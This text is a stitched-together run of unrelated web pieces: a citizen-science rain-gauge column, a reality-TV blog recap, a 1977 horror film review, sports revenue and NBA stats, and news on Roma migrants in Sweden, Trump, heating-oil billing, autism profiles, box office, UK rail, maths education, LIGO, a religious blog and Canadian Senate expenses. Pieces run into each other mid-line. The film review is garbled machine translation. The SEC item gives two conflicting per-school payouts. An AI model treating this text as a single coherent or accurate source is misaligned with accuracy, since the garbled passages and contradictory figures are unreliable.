CoCoRaHS stands for Community Collaborative Rain Hail Snow network. It was started at Colorado State University in 1998 after a huge flood took people by surprise, demonstrating the need for more daily rainfall measurements taken at lots and lots of locations, clustered together.
Such data density are important because rainfall varies by a surprising amount over short distances, making a big difference in flood predictions.
In Southern New Hampshire, for example, the Souhegan River has a couple of automated depth gauges that post data wirelessly to the web. The chart for the downstream gauge extrapolates likely flow for several hours in the future, which is quite useful when floodwaters are heading your way, but the upstream gauge can’t do the same because there aren’t enough daily precipitation measurements in the upper watershed.
More observers make a difference, which is why I’m hoping you – yes, you, Dear Reader – will give it a shot.
Things are even more interesting when it snows (not that it did much this year, alas). Under the CoCoRaHS protocol, we gather the white stuff and melt it down to “snow water equivalent,” a number that gives some satisfying exactitude to the casual observation that some snow is fluffy and some is wet. It’s also a very useful number.
“We melted snow last year, and I ended up putting out a roof-collapse warning, based on the mass per square foot from the melt calculations. A number of people went out and shoveled their roofs – including me,” Larson said.
CoCoRaHS has grown to more than 10,000 volunteer stations across the U.S., Canada and a few nearby countries, and its data are now used by meteorologists and planners, not to mention climate modeling.
It’s a poster child for “citizen science” projects, which allow amateurs to help with real science work by gathering data or helping to filter out bad information.
To participate, you need to buy an authorized rain gauge, which has an internal funnel that magnifies depth readings tenfold to make them easier, and which in the weirdness of meteorology measures in tenths of an inch.
“My only disappointment in the program is that we use what I call the dead-king system. Science is rooted in the metric system,” Larson said.
But CoCoRaHS data are particularly important to farmers, who are wedded to what is more formally known as the English units of measure, so it’s inches all the way – although why it’s divvied into tenths instead of powers of two (half, quarter, eighth, etc.) is unclear. It’s like some weird amalgam of metric and English measurement.
I mention all this because CoCoRaHS is in the midst of its annual March Madness, a monthly contest among the 50 states to see which can add the most new observers. New Hampshire came in sixth one year by per-capita measurement, but I think we can do better.
Anybody can become a volunteer: You need to buy a rain gauge and set it up in a suitable location (i.e., not under a roof overhang), create an online account and then – this is the hardest part – prepare to get up before 8 most mornings to submit your 24-hour reading.
Nothing to it: Go to cocorahs.org to check it out.
If you sign up, send me an email. Rain geeks need to stick together.
(David Brooks can be reached at 369-3313, dbrooks@cmonitor.com, or on Twitter @GraniteGeek.)Amber’s RHONJ blog is up and she has shifted her attitude from anger to victim. She’s turning into the RHONJ version of Tamra Barney. That’s quite the feat this early in her first (and probably last) season. Her blog was super long and repetitive. She and Jim both attempt to use words they really don’t understand in ways that are almost but just not quite correct. Anyway, here is some much needed laughs given the depressing nature of all the news I have been reporting on…
Amber still blames Nicole for the chain of events and implies that she really is a homewrecker:
Nicole says she wanted an apology. Hmm, well, I would have loved a chance to apologize, however she acted like a lunatic right off the bat. Nicole wanted a scene, not an apology. She made sure everyone was there, which kind of makes you think she planned it all along. We are all human, we all make mistakes, but we cannot go around attacking every person that speaks about our mistakes. I could have told her who was telling me the rumor and we could have dealt with it together. The fact that Nicole escalated the situation like that is just disgusting to me. She could have talked to me. I would have heard her side of it, and she would have gotten an apology out of me for not coming to her first. Maybe she reacted that way because she had no intention of just dispelling a rumor. Maybe there is more to it, and the reaction was a distraction from the truth…apparently, it is working.
Amber is angry that the girls ganged up on her henpecked husband:
Then the circus goes on further when Dina, Melissa, and Kathy all decide to lay into him about bowling night too! Did I miss the memo on how bowling night is considered sacred in these parts? My husband is trying to talk to Teresa and help her understand what it means to have a professional “conflict of interest” and that he is not being judgmental towards her or her family, yet Melissa, Dina, and Kathy think it is best to butt in. These women have never spoken to my husband; apparently, they thought ganging up on him was the best solution. Remember, we went to a party at Jim’s best friend’s house. Jim never met these people. Well, I got ganged up on, my hair pulled out, a drink in the face, and then strangers are giving my husband crap about bowling. And what was Bobby doing? He was playing games with our keys for an hour instead of getting us the hell out of there or telling anyone, “Hey, back off, these are my friends!”
Amber’s thoughts on Gina calling Jim out for his douchebaggery:
Also, if you ask an aggressive question three times in a posse and still do not understand the answer, don’t be surprised when the tone changes. It drives me nuts when a woman behaves in a nasty manner towards a man, then when they argue back they throw their hands up in the air and say, “I’m a woman, don’t speak to me that way!”. If you are going toe to toe with someone, then do just that. By the way, how do you know how big a whale’s vagina is? On second thought, do not answer that!
And finally, Amber wants you to know she enjoys Jim’s Penis:
And no, Joe, insecurity is when you hear a rumor and go ape sh– on someone for it. Or you need to get aggressive to prove you’re tough. What I was doing was defending myself after being given no explanation as to why everyone was ganging up on me. Joe, you should realize that disputes can be resolved with simple communication at the right time. Last point, the Joes need to stop talking about my husband’s height, since they are shorter than him. And, everyone needs to most definitely stop talking about my husband’s penis. After three strong boys and a beautiful little girl, trust me, faculties are marvelous.
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TweetYear: 1977
Duration: 01:17:26
Directed by: George Barry
Actors: Demene Hall, William Russ, Julie Ritter
Language: English
Country: Czech Republic
Also known as: Death Bed: The Bed That Eats
Description: Bizarre and surreal horror movie from the 70’s that’s not as goofy as it sounds – I found that it has quite an interesting story line. Recommended.
Once the demon saw the river a beautiful girl and fell in love with her. And since in addition to the sex, he couldn’t imagine anything else, by of his lustful thoughts materialized the bed.
Review: Movie of the sub-genre “of things-killers” can be divided into two categories. Either it is great, worth the time spent on his films (almost all movies about cars-killers), or strange, extraordinary poluvmenyaemy trash, where in an attempt to find fresh ideas, authors often assume all of the (“Killer Condom“, “tire”). There is, in principle, movies, stuck somewhere in the middle (“Elevator”), but basically two categories clearly marked.
“On his death bed,” at first just want to push in that span. On the one hand – the bed-killer that kind of nonsense. But on the other – you can try on that field and sow your sprout, unlike the others, it would diligence and faith in ourselves.
At first it seems that George Barry is there – let tape from the beginning gives us to understand that the script is not sane ran (I would place the men and women who have bed on the sly bottle of champagne and drank a bucket of wings devoured be pondered what had become food, for half a minute ago she was here). But visually the film looks like a good idea (probably affects old boy film, making the colors look brighter), and there are the beginnings of diligence, despite the budget deficit.
But the closer to the middle, the more clearly that the venture is unlikely to come something good – visuals are still normal, but the story suddenly starts throwing somewhere is not there: a guy whose soul is enclosed in a picture that -it says, and what – is unclear. His stories relate to the previous owners of the bed (a motley company of a priest to men who have an orgy), but it all starts to look somehow strange. The action of quite beautiful two-story castle without a declaration of war turns into a cellar, why – again, do not tell.The Southeastern Conference will distribute $436.8 million out of an NCAA-record $455.8 million in revenues between its 14 institutions, it was announced Friday.
Each league member will receive $31.2 million -- an increase of more than $10 million per school from last year's payout of $20.9 million per school.
Each SEC school will receive $31.07 million -- an increase of more than $10 million per school from last year's revenue-sharing disbursement. John David Mercer/USA TODAY Sports
The Big 12 will distribute "north of $250 million," sources told ESPN.
The SEC made $455.8 million in total revenue based on the revenue-sharing plan for the 2014-15 fiscal year, which ends Aug. 1. However, $19 million was retained by institutions that participated in bowl games last season.
By comparison, the Big Ten distributed $338.9 million during the 2013-14 fiscal year, according to IRS filings, the most recent data available.
The total amount of the distribution is composed of revenue generated from the SEC Network, televised football, bowl games, the SEC football championship, televised basketball, the SEC men's basketball tournament, NCAA championships and a supplemental surplus distribution.
The SEC also increased the fine for schools rushing the field to $50,000 for a first offense, $100,000 for a second offense and $250,000 for a third offense. The previous amount was only $5,000 for a first offense, $10,000 for a second offense and $25,000 for a third offense.The project, fully funded by the Japan International Cooperation Agency, aims to set up a holiday resort in Jirsar- Baqerkhaleh Village, along the road connecting Anzali and Rasht, both of which are top destinations in the province, Financial Tribune reported.
The resort will include a conference hall, marina for recreational boats, traditional cooking workshops and a handicraft school, as well as a birdwatching site.
The project is expected to take a year to complete and has a budget of $100,000; a paltry sum given the scale of the project. Although it was not immediately clear, the village may already have basic infrastructure for the project, which could explain the meager funding.
Profit from the site is planned to be spent on developing infrastructure of the village located close to Anzali Wetland, a Ramsar site.
The Ramsar Convention, also referred to as the Convention on Wetlands, is an intergovernmental treaty that provides the framework for national action and international cooperation for the conservation and judicious use of wetlands and their resources.
Anzali Wetland is internationally known as a habitat of migratory birds and is located on the coast of the Caspian Sea. It was registered as a Ramsar Convention site in June 1975.
However, the wetland has suffered greatly due to unrestrained human activity. It has been degraded, and in 1993 the Anzali Wetland was listed in the Montreux Record, a register of Ramsar sites where changes in ecological character have occurred, are occurring, or are likely to occur as a result of technological development, pollution or other human interference.
JICA has been actively cooperating with Iran on a project that aims to restore the embattled wetland.
**1664I was talking to Riot Neon about how I got into League, and she asked me to share my story. I played one game of League of Legends in beta as Karthus, and I absolutely hated the game because it seemed really strange that my autoattacks were super slow, and I had to constantly spam Q to get damage off. I came back a month before the first season started, and the very first champion I played was Akali because she was free that week. The first three games I played I ended up with about 30 kills a game and had close to 90 kills after 3 games. I loved that she was a snowbally assassin that felt really rewarding to kill other players with and stuck with her as my most played champ that week. I spent a lot of time using her to level up to 30, before I eventually switched into playing Katarina, another reset champion. I remember returning to Akali after not playing her for a long time during my first tournament at IPL3. I spent maybe less than a week practicing her, and we had to use a substitute mid laner, so I had to play top lane Akali which was very far from my comfort role. I played against Hotshotgg's Galio top lane and killed him solo while he tried to TP away and won the series and the tournament. Looking back, it's been a while since i've played her. She's been relatively low priority as one of my picks, but I know one day she'll be back as one of the champions I enjoy playing mainly because her kit is really fun for me to use. So how about you? How did you find your first main?
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SaveView Caption Hide Caption It is never too early to crunch the numbers. (Getty Images)
It is too early to draw many conclusions from the NBA seasons, but there are some trends worth watching.
[Why isn’t Dwyane Wade higher on the NBA’s all-time scoring list?] [How Chris Bosh picked up his first technical foul in two years] [Inside the mind of shot-blocking machine Hassan Whiteside]
Here are eight Heat stats from the first 12 games:
The Heat are ninth-best at defending shots within 6 feet of the basket.
Opposing players are shooting 57.9 percent inside against Miami, not far off Cleveland and Golden State. San Antonio leads the NBA at 52.5 percent.
Dwyane Wade has been blocked on just 7 of 176 shots.
That means he has gotten 96 percent of his shots off. Not bad for 6-foot-4 and 33 years old.
Hassan Whiteside leads the block race by 21.
That margin is pretty incredible after just a dozen games. He has 58 blocks, which puts him on pace for the third-best season ever, and second place is DeAndre Jordan at 37. Jordan has played 83 more minutes than Whiteside. Serge Ibaka has 33 blocks in 118 more minutes than Whiteside. Whiteside has blocked 43.9 percent of the shots he has faced so far.
Hassan Whiteside has three assists.
That is also pretty incredible.
Luol Deng’s 3-point percentage is up since coming to Miami.
In the two seasons before signing with the Heat, Deng made just 31.3 percent of his 3s. He swore he was a better shooter than that, and with coach Erik Spoelstra streamlining his attempts to mostly corner shots, he is at 35 percent. Last year, 49.5 percent of his 3s came from the corners, and 58.7 percent of them have this season. That number never got higher than 38.1 percent the previous four years.
Miami’s second lineup has a plus-34.3 net efficiency rating.
That is the group that Erik Spoelstra goes to early in the first and third quarters. Justise Winslow comes in for Bosh, and Luol Deng moves to power forward. It is a small sample size at 55 minutes, but clearly promising for the Heat.
The Heat have missed 85 free throws.
At 71.5 percent, they are the seventh-worst free-throw shooting team in the NBA. Rock bottom was the 14-for-30 performance in the 103-91 home loss to Minnesota.
Goran Dragic is making 58.3 percent on shots at the rim.
That is a significant step down from the 68.2 percent he made last year, best among guards and a shade behind LeBron James.A series of attacks in Sweden on beggars, many Roma, has highlighted a dark side to a country considered a bastion of tolerance but where the far right has been gaining support by claiming society is under threat from waves of immigrants.
An influx of thousands of mainly Roma migrants has shocked affluent Swedes, with beggars now a common sight outside supermarkets, IKEA stores and subways in the capital.
Since most come from Romania and Bulgaria, they are free to travel to Sweden as EU citizens, but their presence has fuelled claims by the Sweden Democrats the country is a soft-touch for migrants and is being swamped.
“The first attack was in November or December last year. That was gunshots,” Vasile, a 38-year-old from Romania, who makes a living doing black market jobs in areas like construction around Stockholm, said.
Vasile, who lives in his car with his wife, said he had been attacked several times.
“My wife is very, very scared,” he said.
Sweden takes in more asylum seekers per capita than any other nation in Europe. Around 81,000 sought asylum here in 2014 – second only to Germany.
But while asylum seekers mainly come from countries like Syria, Afghanistan and Eritrea and get government benefits, many Roma migrants try to earn a living and save money to take home by begging or collecting bottles.
They often stay for a short period and sometimes return to Sweden after visits to their home countries.
The government reckons around 5,000 migrants, some of whom also come from Hungary, are in Sweden begging. Many live on the street or in squalid camps. In recent months, attackers have thrown acid at beggars and burned tents and caravans.
“NOTHING TO LOSE”
In woodland 15 minutes walk from Hogdalen subway station on the outskirts of Stockholm, around 70 Roma migrants have set up tents and rudimentary shacks of sheets of plastic, corrugated metal and other scrap.
There is no electricity. They only have bonfires to cook on and buckets for washing.
“You have nothing to lose,” said Marius Gaspar, at charity Stockholms Stadsmission, which organises housing for migrants in the capital city. “It is better to be here as a homeless person than to go back home.”
Average wages in Sweden are around 2,800 euros ($3,160) a month, according to Eurostat. In Romania, where they also face discrimination, the figure is less than a quarter of that.
Europe’s 6 million Roma are the region’s biggest ethnic minority. They have been persecuted for most of their history.
Many migrants in Sweden say they want to work, but lack of education and language skills make it impossible for most, leaving begging as the only alternative.
In August, the Sweden Democrats started a subway advertising campaign in the heart of Stockholm, apologising to tourists for the “mess” created by beggars. “Our government won’t do what’s needed. But we will and we’re growing at record speed,” the banner advert read.
Protesters later stormed the metro station, tearing down the posters they said were xenophobic.
“They want chaos, they want Sweden to be polarized, to sort people into us and them,” said Sven Hovmoller, the vice-chairman of HEM, a voluntary organisation that supports migrants.
RESILIENT TO HARASSMENT
There were around 300 reported attacks on Roma in 2014, up 23 percent on the year before, according to the Swedish National Council for Crime Prevention. Police say the figures underestimate the scale of the problem.
Further underlining the tension in Sweden over immigration, police stepped up security measures around asylum seeker hostels in August after a knife attack in an IKEA store that left two dead. The suspect is an asylum seeker.
The Sweden Democrats reject claims they are pouring fuel on the fire. Spokesman Henrik Vinge said the advertising campaign only said there are criminal gangs that exploit beggars.
“We have not in any context or any way tried to vilify anyone,” Vinge said.
The party, which wants to cut the number of asylum seekers by 90 percent, more than doubled its vote at last year’s election to around 13 percent. One opinion poll in August showed the party is now Sweden’s most popular, backed by 25 percent of voters.
Martin Valfridsson, Sweden’s national coordinator for vulnerable migrants, said the country, which spent around 1.4 percent of its budget on asylum policies last year, remained tolerant but that many Swedes were frustrated by seeing beggars.
The government is looking at making it easier to evict people from illegal settlements and tightening rules on human trafficking. It has also stepped up contacts with Romania, Bulgaria and the EU to deal with the problem.
“The solution must be in their home countries,” Valfridsson said.
In the short term, there is little the government can do. EU rules ensuring free movement mean the country cannot turn migrants away at the border while evictions only move the problem to another location.
Anne Britt Djuve, co author of a report on Romanian migrants in Scandinavia said they were extremely resilient to harassment. “They are desperate for money and they are willing to endure extreme hardship.”
($1 = 8.5676 Swedish crowns)
(Additional reporting and writing by Simon Johnson; editing by Alistair Scrutton and Philippa Fletcher)Republican presidential nominee Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE on Monday slammed the nation's leaders and predicted more attacks after the explosions this weekend in New York City and New Jersey.
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"I think something that maybe... will happen, perhaps more and more all over the country," Trump said on "Fox & Friends," referring to terror strikes.
"Because we've been weak. Our country's been weak. We're letting people in by the thousands and tens of thousands. I've been saying you've got to stop it."
Trump went on to slam President Obama's plan to admit 110,000 refugees into the United States over the next year.
"Hillary wants to increase what he's let in and he's let in thousands and thousands of people," Trump said.
"They don't know. They can't be properly vetted. There's no way."
The GOP nominee said he's spoken with law enforcement who say there's no way to vet these refugees.
"He let in over 100,000 additional people and now Hilary Clinton is raising it by 550 percent and this has been going on for a long time, thousands of people are pouring into our country, we have no idea what we're doing," Trump said.
"Our leaders are — I don't even say weak — I say stupid."
His comments come after a bomb detonated Saturday in Manhattan, injuring 29 people. Two other bombs, one of which detonated near a train station, were discovered in New Jersey.
Authorities now say they suspect an active terrorism cell in New York and New Jersey.The lawyer who represents the public at the Energy and Utilities Board says Irving Oil Ltd. cannot retroactively change prices on bills a Saint John customer paid years ago.
"It's ridiculous," said Heather Black.
"It's just like anybody going to the store and buying their groceries and then getting a call from the grocery store saying we're going to charge you more."
Black was reacting to news a Saint John woman has been offered $178.20 by Irving Oil to repay $547.36 it over billed her for heating oil.
The company acknowledges it charged Eileen Fudge more than New Brunswick's maximum legal price for oil on 27 deliveries between 2007 and 2015, but says it also charged her less than maximum prices dozens of other times.
It has since raised those prices to the maximum retroactively and told the woman's family it was deducting the new charges from what it owes her.
Black says there is nothing in New Brunswick's petroleum pricing law, or law generally, that supports the practice of raising prices retroactively.
"The charges were made at a particular point in time and going back and changing that even in the context of offering a refund seems a little strange to me," said Black.
"It doesn't follow what anyone would expect from the [Petroleum Product Pricing] Act or anywhere else in law."
Irving Oil heating oil billing practices are currently being investigated by the New Brunswick Energy and Utilities Board
Black says Irving Oil is within it rights to make any offer it wants to the Fudge family, but she says if the EUB confirms any customer was charged more than the maximum price for heating oil on any delivery, those customers should be given all of their money back.
"I would hope if the investigation does reach that conclusion that these customers would receive refunds," she says.Recently we have been asked by a number of parents if we can assess and diagnose Pathological Demand Avoidance or PDA as its easier to know. We thought, given the clear rise in the attention it is receiving we should explain what it is and how, or if, it can be assessed and diagnosed.
History and Profile
Dr Elizabeth Newson, a developmental psychologist, focused her work with autism during the 1970’s. In 1994 she was made a professor of developmental psychology in Nottingham where she used her inaugural lecture to discuss PDA, as a sub type of autism.
PDA can be thought of as a behavioural profile that is sometimes identified with individuals who are being assessed for autism spectrum disorder (ASD). PDA is not universally accepted, however, which we will explain further on in this post.
PDA is best understood as an anxiety driven need to be in control and avoid other people’s demands and expectations.
Although not everyone will display the same traits, the distinctive features of PDA in children show them to:
Resist and avoid the ordinary demands of life
Use social strategies as part of avoidance, eg distracting, giving excuses
Appear sociable, but lack understanding
Experience excessive mood swings and impulsivity
Appear comfortable in role play and pretence
Display obsessive behaviour that is often focused on other people.
People with this profile can appear controlling and dominating, especially when they feel anxious. However, when in control they can be charming, relaxed and engage positively with others around them.
Recently, more children having been assessed for either ASD or ADHD are walking away with labels of PDA, but not all. It would appear only some experienced clinicians involved in neurodevelopmental are happy to identify and apply the behavioural profile.Japanese animation “Stand By Me Doraemon” toppled “Avengers: Age of Ultron” and topped the Chinese box office over the weekend. Released on Thursday, “Doraemon” grossed $38.3 million in four days.
The feat was unusual as the cat robot movie is the first Japanese film to be allowed to release in China for some three years, since the last “Ultraman” film was released in July 2012. Japan and China maintain frosty political and diplomatic relations, but many aspects of Japanese culture are popular in China and the underlying “Doraemon” cartoon series is well known in China through other media.
Along with the continuing performance of Indian comedy drama “P.K.”, the success of “Doraemon” is a triumph for a degree of diversity in Chinese theaters. “P.K.” opened in second place in its first week and slipped to fourth in its second frame. It added $6.89 million and now stands on a total of $12.04 million after 10 days. That is the biggest single territory performance for any Indian film outside India. And it was achieved in a territory with a negligible Indian diaspora population.
“Ultron” added $17.0 million in its third week, in second place. That boosted its total to $227 million after 20 days. That will guarantee it a top ten performance this year, but there is now no chance that it might overtake “Furious 7” which finished its Chinese run with a cumulative of over $390 million.
Third place went to “Tomorrowland” with $14.1 million take in six days. That was almost the same figure as the film’s opening weekend in North America, where it took $14.3 million. Given the relative size of the theatrical and exhibition markets, the film’s Chinese performance is significantly stronger.
“I, Frankenstein,” releasing nearly a year and a half after its North American debut, opened in fifth spot with $6.35 million.
Chinese-made animation, “Happy Little Submarine Magic Box of Time” was another of the week’s five openers. It debuted in sixth spot with $2.36 million in three days, giving a cumulative of $5.2 million, including previews.
Documentary, “Mr Deng Goes to Washington” continued its journey with $1.05 million on the week in seventh spot. Its 17 day total moves on to $6.7 million.
Chinese romance, “Love Without Distance,” added $1.04 million in a steep tumble from third place. After 11 days it has accumulated $4.60 million.
“The Grow 2,” another Chinese cartoon feature managed only $420,000 and ninth place in its opening three days. It beat tenth placed crime drama “12 Citizens,” which took $360,000 and edged its 17 day cumulative score to $2.04 million.Corrected: This article originally stated that Price’s bill was newly introduced Wednesday. It had already been introduced, but his office highlighted it again after the midterms. We regret the error.
House Republicans are re-upping Wednesday on a Obamacare repeal-and-replace legislation after their party’s big Election Day wins.
Budget Committee vice chair Rep. Tom Price (R-GA) pushed out a release about his bill that would start with repealing the Affordable Care Act.
It would then seek to extend health coverage and lower health care costs through provisions more palatable to conservatives: Refundable tax credits for low-income individuals, high-risk pools for sick people, tort reform, etc. The bill would also require states to give Medicaid beneficiaries the opportunity to enroll in private employer-sponsored coverage.
One item of particular note: Price’s legislation would allow for the creation of state “transparency portals,” which would allow consumers to window-shop for coverage. It sounds similar to Obamacare’s exchanges, only it would not allow for enrollment in the plans. Consumers would have to buy directly from insurers.
A full summary is below.
Tom Price Health Care Bill SummaryImage copyright ceredigion council Image caption Consultation showed "considerable support" for a new station, Ceredigion council said
Funding has been secured for a new railway station in Ceredigion after the UK government said it would provide just under £4m.
Bow Street station, on the Cambrian line north of Aberystwyth, was closed in 1965 as part of the Beeching cuts.
The Welsh Government is to provide the remaining £2.8m for the £6.8m new station.
It welcomed the news but said the UK government should increase its investment in Welsh rail.
Welsh Government made the bid for funding as a means of easing congestion in Aberystwyth.
Bow Street was one of five new stations announced on Friday, with four in England to include Warrington West in Cheshire and Portway Parkway near Bristol.
Image copyright Ben Brooksbank/Geograph Image caption The original Bow Street station in 1962 - it was closed three years later
Rail Minister Paul Maynard said the UK government was "committed to improving journeys for passengers right across the country".
"The new stations fund is a great example of how our record investment in the railways and work with local authorities and industry is delivering better journeys for passengers and boosting local economies," he said.
The proposed station, due to be completed by March 2020, would be built a short distance south of the original Bow Street station, which is now the site of a builders' merchants.
The Department for Transport said it would be up to the Welsh Government as the bidder to ensure the remainder of the funding was in place.
A Welsh Government spokeswoman said: "We are committed to improving rail travel for passengers right across Wales and have appealed to the UK Government for funding for a number of new rail way stations.
"While we welcome news that the UK government has now allocated funding for Bow Street, we note that the UK government has yet to allocate over £3m of its £20m fund for rail improvements.
"We continue to call on the UK government to increase its investment in Welsh rail infrastructure and would press the case for additional funding for other Welsh priority projects such as a new Cardiff Parkway station in St Mellons as well as new stations at Magor/Undy, Deeside and Wrexham."Prof Stephen Sparks said that few pupils took maths beyond the age of 16 after being “put off” by test-driven lessons in primary and secondary school.
He said classes often focused on the dry “procedures” behind sums to make sure children pass exams instead of passing on a well-rounded understanding of the subject.
Only one in eight teenagers studies maths in the sixth-form, leaving Britain trailing behind many other developed nations. Between 50 and 100 per cent of teenagers in other countries, including the Czech Republic, Estonia, Fin-
land, Japan and Korea, study maths to a decent level, the figures show. Prof Sparks, chairman of the Advisory Committee on Mathematics Education (ACME), which represents academics and teachers, said the number of pupils failing to take A-level maths “puts us at a real anomaly internationally and likely affects our economic competitiveness”.
The comments came as The Daily Telegraph started a campaign, Make Britain Count, to highlight the scale of the mathematical crisis and provide parents with tools to boost their children’s numeracy.
The Nuffield Foundation compared the number of pupils studying advanced maths in 24 industrialised countries. Around 13 per cent of students took
A-levels in the subject in England, Wales and Northern Ireland. In Scotland, numbers reached around a quarter. In almost every other nation, more than half of pupils took advanced maths courses, while in eight countries, including South Korea, Russia, Sweden and Taiwan, maths was compulsory until the age of 18.
Prof Sparks called for the majority of pupils to study maths up to the age of 18, and said that some teenagers should take tailored courses “between a GCSE and A-level”. “The reason some people are being put off maths is related to that issue of teaching to the test,” he said. “Schools are given a big incentive to make sure pupils pass tests, which doesn’t necessarily mean that they get the well-rounded understanding that a good education requires.”In the space of just a few weeks, the LIGO and VIRGO collaborations have announced the fourth detection of gravitational waves and three of their most prominent physicists received a Nobel Prize for their work.
And on Monday they will announce something new. Everyone is being very tight-lipped on the nature of this big announcement but it is beyond doubt a huge affair. The European Southern Observatory has described it as an "unprecedented discovery", so it sounds like we should all be very excited. LIGO, VIRGO, and 70 other observatories around the world will hold a press conference at the same time across the globe.
So clear your schedules because the announcement will happen Monday 16 October at 10am EDT (3pm BST), and you can watch the live announcement on either the National Science Foundation website or on the European Southern Observatory website.
We, of course, will also be streaming it live, so check back here Monday for that.
In the meantime, |
to guard my heart, and why I do it intentionally, out of a place of willingness and not begrudgingly: because I love and honor my husband.
We so often think of saving ourselves for our husband solely meaning our bodies, but, at least for me, I want my husband to have my whole heart, too.
And I think that’s the way that God designed it.
If my body wasn’t meant to be thrown around, guy to guy… then I’ve never been more sure that my heart wasn’t, either.
I want to live in the way I was designed to live; I want my heart to know the fullest joy, the fullest love that God so intricately designed for us.
SO here and now, I am looking to my husband, knowing that our marriage will be a glimpse of the deep love of Jesus for His Church.
Our sweet Jesus loves His bride; He sacrificed everything for Her before she knew Him.
And just as our sweet Jesus did for us, I want to love my husband before I know him. I want to save everything for him. I want him to know that before we were together, that I honored and valued and cherished him.
My friend, I want to lay my life down for the Gospel and for the sacredness of marriage, for the sole purpose of showing the Gospel in the deepest and most intimate of relationships.
For the sake of my husband. For the sake of a world who is looking for True Love. For the sake of my sweet Jesus.
I want to honor my husband with all that I am.
Right now, in the midst of singleness or dating or relationships.
I hope your heart does, too.
So, my friends, let’s honor and understand how our hearts were designed. Let’s keep our eyes on our sweet Jesus. Let’s guard our hearts and hold sacred the beautiful design of marriage.
May we press on to know the deep, the committed, the sacrificial love that our sweet Jesus has for His beautiful Church.
And may we be intentional about saving ourselves for the sake of that Love, for the sake of my husband and I showing the world that Love.
With much, much love. And a heart dwelling in the love of my sweet Jesus. –Melissa
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Comment below, or email me at: mysweetjesusblog@gmail.com
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Want to share this with a friend? Click below to share on Facebook or Twitter!Canadians should finally learn details about Senator Pamela Wallin's expenses on Aug. 13 when the Senate is expected to release the results of a long-awaited audit.
The chair of the Senate commitee on internal economy, Senator Gerald Comeau, said in an interview Friday that Deloitte is on track to complete their review of Wallin by the end of July. The audit will then be translated and passed on to committee members.
A smaller steering committee made up of Comeau, Conservative Senator Carolyn Stewart-Olsen and Liberal Senator George Furey will likely meet on Aug. 12 to craft an initial Senate report based on the audit's findings.
Comeau said he has already notified members of the broader internal economy committee to be back in Ottawa on Aug.13 for a special summer meeting to deal with the audit and report.
Although the Senate has been under fire recently for a lack of transparency, Comeau said the initial discussion around Wallin's audit will happen behind closed doors.
"Committee reports are never worked on in public," he said. "A closed door meeting allows people to be more confident to express ideas or opinions."
But Comeau said he doesn't intend for the findings on Wallin to be kept secret. He said he is hopeful the committee will come to a unanimous conclusion during its meeting on Aug.13 and make its report public to Canadians later that day.
Wallin has already repaid $38,000 dollars to the Senate. Deloitte has confirmed they are examining Wallin's claims as well as the nature of her expenses, dating back to when she was first appointed as a senator for Saskatchewan in January 2009, a longer period than they were originally asked to examine.
But the fact that Wallin has already repaid the Senate some money will not influence how Comeau views the final audit, he said.
"Our mind is open on everything. We're not going to let what's happened interfere, other than the fact that she's cooperating, that's helpful to us. The fact that she has acknowledged certain issues, that's helpful to us, but we want to see the whole picture," said Comeau.
'Red flag' on Duffy's expenses
The Senate continues to keep a close watch on Senator Mike Duffy's expenses, he confirmed.
Comeau said that to his knowledge, Duffy has made no further housing claims but there is a red flag on any future claims for travel, per diems or office expenses. "All that stuff is being watched," said Comeau.
The RCMP continue to investigate Duffy's expense and travel claims, as well as the $90,000 cheque he received from Prime Minister Stephen Harper's former chief of staff, Nigel Wright to cover his reimbursement to the government.
Recently obtained court documents show the RCMP allege Duffy has committed offences of breach of trust and frauds on the government.
Meanwhile the Senate has also moved to get money reimbursed for housing expense claims it maintains were claimed improperly from Senator Patrick Brazeau and Senator Mac Harb. Harb has launched a legal challenge against the Senate but last week decided to repay more than $51,000 dollars even while the legal battle continues.
Brazeau's pay cut by 20 per cent
Brazeau has chosen not to make a lump sum payment and as a result his salary will be docked starting this month. Senators are paid on a monthly basis and the first garnishing of his wages, by 20 per cent, will happen at the end of July.
The chair of internal economy committee said the Senate continues to keep an eye open for anything that may be of concern. Even though the Senate has also asked the Auditor General of Canada to do a comprehensive audit of senators expenses, Comeau said Senate administration will keep their eyes open for any kind of anomaly and be "doubly alert" in light of the increased spotlight on the Senate in recent months.
"We wouldn't want to say, the AG is looking at this, so we'll look away," explained Comeau, "It's business as usual. We are doubling our efforts so that anomalies are picked up."
Comeau took over the position of chair of the committee in June after Senator David Tkachuk stepped aside for health reasons. Tkachuk was under intense pressure for his handling of the Duffy report after accusations he whitewashed the initial report and admitted he was in contact with the Prime Minister's Office during the process.
In spite of the the added scrutiny on the committee, Comeau seems to be embracing his new role.
"It's a job. Somebody has to do it. You know those old movie clips where a Sergeant shouts out for a volunteer and everyone takes a few steps back and you're the only one left standing in the front?" Comeau said, laughing about how he ended up as the committee chair.
But he said he takes it very seriously and believes his experience and longevity as a senator will undoubtedly help him. Comeau was appointed to the Senate by Brian Mulroney in 1990.The writers room has just started working on Katrina: American Crime Story, EP Brad Simpson told TV critics today, adding that The People v. O.J. Simpson: American Crime Story EP/writer D.V. DeVincentis is working with Ryan Murphy on the next project in FX’s ACS franchise. But Simpson said, disappointingly, “I’m not going to make any big news,” when asked about the next iteration during a TCA panel for the freshman one on the trial of the century.
“Yes, you will have famous people, and also the people who weren’t famous during Katrina,” Simpson said. “Looking at it, thematically, it will be incredible different” than the O.J. project, calling ACS a franchise that “morphs based on the crime.”
“It’s going to be about two things: the intensity of what it was like to be on the ground in that pressure cooker and also the bigger crime,” he said. The 2005 hurricane was the costliest natural disaster in U.S. history and at least 1,245 people died in the storm and subsequent flooding – mostly because of the more than 50 breaches in New Orleans’ woefully inadequate hurricane surge protection.
Katrina “was something predictable we weren’t prepared for, even though we knew it was going to happen,” Simpson said. The Katrina season of ACS will put a lens on America “and show some uncomfortable truths about it.”
And as for suggestions they do an epilogue to the O.J. trial, focusing on the former football star/NBC Sports figure’s life, Simpson said: “We’ve been pitched that. We don’t want to overstay our welcome. This was closed off.” An epilogue, he said, would be “just about O.J.,” unlike the series that wrapped in April, which Simpson called Altman-esque in its ensemble. “I think the case is closed for us on O.J.’
